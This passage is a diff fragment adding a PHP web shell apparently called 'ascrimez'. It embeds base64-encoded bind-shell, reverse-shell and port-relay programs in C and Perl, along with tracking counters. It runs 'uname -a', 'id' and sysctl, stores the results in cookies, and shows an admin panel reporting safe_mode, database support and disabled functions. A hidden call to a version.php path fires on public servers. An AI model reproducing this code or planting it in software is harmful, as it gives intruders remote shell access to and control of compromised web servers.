+ $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #660000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +if($unix) + { + if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } + if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } + if($safe_mode) { $sysctl = '-'; } + else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } + else + { + $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); + if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } + if(empty($sysctl)) { $sysctl = '-'; } + setcookie('sysctl',$sysctl); + } + } +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"sdfsdfsdf/sdfsdfsdf/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("sdfsdfsdqf/sdfsdfsdfds/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8" TEXT="#ff6600" ><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000 width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'ascrimez '.$version.'</b></font></td><td bgcolor=#660000><font face=Verdana size=-2>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +if($unix) + { + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; + } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2)."safe_mode: <b>"; +echo (($safe_mode)?("<font color=green>ON_secure</font>"):("<font color=red>OFF_not_secure</font>")); +echo "</b>".ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); +echo "</b>".ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } +echo "</b>".ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b>".ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b>".ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b><br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if($unix){ +echo '<font color=yellow><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server 